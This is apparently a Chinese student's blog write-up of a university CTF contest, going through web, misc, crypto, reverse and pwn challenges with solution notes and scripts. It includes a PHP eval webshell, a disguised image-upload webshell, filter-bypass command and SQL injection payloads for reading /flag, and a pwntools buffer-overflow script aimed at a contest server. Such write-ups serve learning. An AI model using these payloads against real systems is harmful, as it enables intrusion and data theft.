第一次参加正式的ctf比赛,恰巧碰到了自己学校的第一届校赛。分享一下菜狗的做题心路历程。
网络安全法2016-11-07颁布
得到flag{2016-11-07}
show_source(__file__);
@eval($_POST['zjnuctf']);
?>
由于自己的hackbar有问题(这里卡了好久发现是hackbar的问题),直接bp抓包,get改为post
反序列化
将fakeflag.php改为flag.php后输出
当然,要把flag.php用php://filter伪协议
将上面的url编码当作fxxk的值传入
得到base64编码解密
爆破?不存在的,直接MD5网站解密
flag{1919810}
上来先代码审计
可以发现有三关。
第一关,==弱比较,直接用MD5碰撞即可。
分别给a1,a2赋值(上面的都可以)
第二关 ,===强比较,使用数组即可
b[]1=1&b2[]=2
第三关 (卡的有点久,后面灵光一闪)
因为flag ls等字样都被过滤了
我们用var_dump函数执行
查看根目录scandir(chr()47)
cmd=var_dump(scandir(chr(47)))?>
发现flag用file_get_contents
cmd=var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103)))?>
考察文件上传
先试了php
发现无法上传php
然后再上传
说不是jpg格式
bp抓包后更改 image/jpeg
上传成功
再上传一张1.jpg内涵一句话木马
蚁剑连接
根目录发现flag
这题在比赛的时候想了很久,但是没解出来。
用fuzz字典发现or ’ 空格 = 这些都被过滤了。当时也没想到什么解法。
以下是当时的心路历程
首先,被过滤的 ’ 可以用 \ 来转义,空格可以用/**/来替换,or用 || 来替换
因为or被过滤了,无法使用information_schema,但是mysql5.6版本以上存在mysql.innodb_table_stats
其次,这个sql语句盲猜都知道是
select username,password from 表 where userename = '$name' and password = '$password'
那么我们做如下替换
select username, password from 表 where username='\' and password='||/**/1#';
然后得到的结果让我痛心
之后打开了御剑扫描,发现有个admin123.php
无果,到此思路就结束了。
然后就是赛后看官方wp,发现还是得写脚本来破解。
(由于自己还未参悟,所以直接上官方wp吧)官方wp
卡了我好久,我以为有更好的一步到位方法
这题看完wp真的是有点呕吐,思路全对就是我眼睛不行qaq(看的时候迷宫密码少了个d)
下载附件发现一张maze图片
然后分别用 u d l r 对应上下左右,得到关键密码 drdrdrdldldrurururdldld
然后用kali的binwalk分离maze图片,发现一个zip文件,解压密码就是上面的drdrdrdldldrurururdldld。解压完了就是flag.txt
这题也是有思路,但没有完全有思路,气死。
下载附件发现全是01格式的字符
一看就是01二进制转ascii码,写一个py转化脚本
得到的一看就是base64编码,放入在线网站解密
又得到一个奇奇怪怪的字符串。
比赛时候到这里就懵逼了。
赛后看wp发现,解密出来的这玩意还是一个base64。
所以我们只需要再来一次解码即可。
发现得到的东西和flag不一样。想到题面中的凯撒。
直接凯撒密码得到flag
解压发现docx文件
打不开
改为txt后缀,发现xml格式
直接改为zip后缀
解压
发现hint.xml
打开
照着上面做
照着做之后将解压后的文件压缩为zip,再改后缀为docx
打开
一开始一张图和一句话
flag在哪呢?
我真的不知道啊!!
卡了好久
百度了之后发现有word有隐藏文字功能
我人傻了
拖开图片发现flag
怎么说呢,这题也是与正确答案擦肩而过。。。
以下是我的心路历程。
下载附件之后,发现一张图和一个有密码的压缩包,内涵虚拟磁盘文件
压缩包密码是什么呢?
肯定在这张图片里。
放入kali的binwalk中,无解。
拖入010中,发现了奇奇怪怪的东西
在最下方发现了一个password,激动的以为这就是解压密码。可是悬赏题不可能这么简单!无果。
又在010发现了有趣的东西。
上面写着,Do you konw silentEye?
百度了一下,是个电影?
再深入百度,发现是一个图片解码工具,直接下载安装。
当时直接不会用。卡在这里停住了。
到此心路历程结束。
看了官方wp之后,发现,只需要改个password即可。改为上面010里看到的123456
解压得到vhd文件
参加vhd,并进入
发现flag.txt
手速???无他,唯手熟尔
这题也卡了(我太菜了)
上来直接base64
然后看不懂
在后面用web工具的时候发现是hex编码
这题怎么说呢?就是题目做少了
得到txt文件
类似于佛曰,但是我比赛时候百度没出结果。
赛后看wp发现还有熊曰这玩意!!!
至于题目的恶魔人,只是单纯的玩日语谐音梗。。。
侥幸拿了一血(唯一一个qaq)
下载附件
得到py和txt
看py得知
哼=0
啊=1
写java脚本
得到01
一看就是01转ascii码
上py脚本得到flag
rsa真的不是我这种数学fw写的出来的。
即使是看了赛后wp,我还是不会,直接放弃。。。
wp的脚本
from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot,invert,is_prime
nn=14233785218017561523427549764129133888410801937405042543608384794638882231260026439768940913248241994813040365019261590207671015021863775460551508126683685707521450333104917548908667903767306793964795289409659685209396396597227554445322460584023558730012055075833060764745007466432401928021336117897704730887670416768927672337677964290714550597600568429298221699648716921633068901353883948998903599058659542070118947492576518928418186712932926792789779394655691866868123443570557245730548669118968910472481699594289886611870716330210847358794021118096694062505555989342966084729820172623438268306776062004746756005827
n=14233785218017561523427549764129133888410801937405042543608384794638882231260026439768940913248241994813040365019261590207671015021863775460551508126683685707521450333104917548908667903767306793964795289409659685209396396597227554445322460584023558730012055075833060764745007466432401928021336117897704730807001526796418874459262653269010050805445478077947359375104859206527750763562742113548953267910553466464257144910076016464319670824458715011248550028233525149999568175523132599184229580518635264332963606814447158506677704508111890282939569371852505020871097477121110247604848059496171967876089968129112279691787
c=6909971391235120426969929645159492694245180553493170688384455395528880026264095781528449983208737981366859280710505606312242226424493215677583657170631510569997194553878866069533443896325051765975176119838518862738911330711618395941024704526641020596853651020122118936781031517870336553964625043083191787006414798451913618025949091586821489624371752964104686443066484925896291615405649389508964693993423607826989107021323425570133994104193066158297289023028007258400114180433143896560235193492515971098965506699893119979781920883228266956815844473828142781253269238329637022081737391678217749601980114153927801508703
e=65537
t = nn - n
f1 = lambda x, y: pow(x * y - t, 2) - 4 * n * x * y
f2 = lambda x, y, s: (t - x * y - s) / (2 * x)
token = 0
for x in xrange(1, 3000):
if token == 1:
break
for y in xrange(1, 3000):
if f1(x, y) >= 0:
s, b = iroot(f1(x, y), 2)
if b:
if is_prime(f2(x, y, int(s))):
p = f2(x, y, int(s))
token = 1
break
q = n/p
phi = (p-1)*(q-1)
d = invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
下载附件中的py文件
txt文件
可以看到出来
‘114’,‘514’,‘1919’,‘810’
都是会被替代的
但是我是真的不会分析源码(python还没系统学习的一个fw罢了)
官方wp
#! python3
#coding=gbk
def shit_plus_decode(string):
string = string[7:].replace("114","00").replace("514","01").replace("1919","10").replace("810","11")
num_list = []
temp = ""
for i in string:
temp += i
if len(temp) == 16:
num_list.append(temp)
temp = ''
result =""
for i in range(len(num_list)):
high_bytes = num_list[i][:8]
low_bytes = num_list[i][8:]
new_num = bin(int(num_list[i][:8],2) ^ int(num_list[i][8:],2))[2:]
result += chr(int(new_num + low_bytes,2))
return result
cipher = r"¤ä¤ê¤Þ¤¹¤Í!!5141919514191951419195141919514191981011451419198101145141919114514514191911451451419195148105141919514810514810191981051481019198101148105148101148105148101148105141919114810514191911481019191141148101919114114810114191911481011419191148101141141148101141145141919114191951419191141919114810191911411481019191145141919514514514191951451411419198105141141919810514114810514810114810514810514191951411451419195141145141919114191951419191141919514191911481051419191148101141919810514114191981051411481051411411481051411411481011411411481011411411481051481011481051481011481011411411481011411411419198105141141919810514514191911419195141919114191911481011451411481011451451419195145145141919514514114810191911411481019191141141919810514114191981051451419191145145141919114514114810514514114810514514114810114114114810114114514191951451451419195145141148105141919114810514191911481019195141148101919514114810514191911481051419191148101919514114810191951411481011411411481011411411481051481011481051481011481051451411481051451451419195141145141919514114514810810514514810810514"
print(shit_plus_decode(cipher))
题目就是提示
放入ida说缺少关键文件
拖入kali
upx -d 脱壳
再拖入ida
shift f12得到flag
逆向最不会的就是位运算了,在学算法的时候就被这个折磨。而且本学期的数字电路我也没怎么听,遇到这种题目,挺无奈的qaq。
直接看题解吧,我也不会。官方题解
(这题教会我们不会就百度)
正经人谁玩游戏啊
直接百度
发现py反编译脚本
跟着百度输入指令
得到
里面有个main和struct
将这俩玩意用010打开
将struct的开头复制到main中
保存
改为pyc后缀
执行脚本得到main.py
打开
查找flag
两个都在
博文参考:python反编译教程之2048小游戏实例
(我是真没玩过这什么重力小球。)
这已经超出我的能力范围了qaq
直接看这个–>官方wp
想都别想,这种悬赏题直接放弃。
直接看这个–>官方wp
直接无脑nc上去就完事了
ls
cat flag
得到flag
(这个题面是真的烂)
拖入ida看代码
发现输入-2就可以了
nc连接
输入-2
ls
cat flag
这题赛后想了想,解了下。
首先把附件拖入ida中分析。
第一个flag提示我们在 /flag 中。那我们怎么把这个flag拿出来呢?
我们发现有个getCode函数,让我们输入。有个gets函数,肯定有栈溢出漏洞!
然后这个getCode函数让你输入代码,程序运行会执行你写入的代码。
之后看check函数
发现其实你啥也写不了,因为int main(){}的括号全给你check掉了
那怎么拿到/flag呢? 用include
#include即可报错输出!
第二个flag啥头绪没有。一般都是会有/bin/sh的后门地址的。我们去其他函数里找找。
终于在boynextbackdoor中找到(恶臭)
按下shift再按空格,查看地址
发现后门地址(080492B6),直接写一部分py脚本
接着在getCode函数中发现gets函数。
char s[104]到ebp的深度是0x6c,所以填充0x6c+4个字符即可覆盖地址。
写下脚本
from pwn import *
# io = process('./gets_x86')
io = remote('121.43.169.147',8510)
ELF("./gets_x86") # ELF格式解析文件
success_addr = 0x80492B6
payload = 'a' * 0x6c + 'aaaa' + p32(success_addr) + 'a' # 为了防止timeout: the monitored command dumped core,增加payload长度
io.sendline(payload)
io.interactive()
运行得到
这题是真的看都不配看一眼,根本不会。
快进到看官方wp–>官方wp
这题是acmer和ctfer的强强联合。还想看?想都不配想!
行了,直接看官方wp吧。
温馨的给了acm解法和ctf解法
judger_wqt/题解
刚刚入门的菜狗,啥也不懂,各位大佬看个乐呵哈!
已经决定走web路线了,所以以后没有这五个方向的大杂烩wp咯~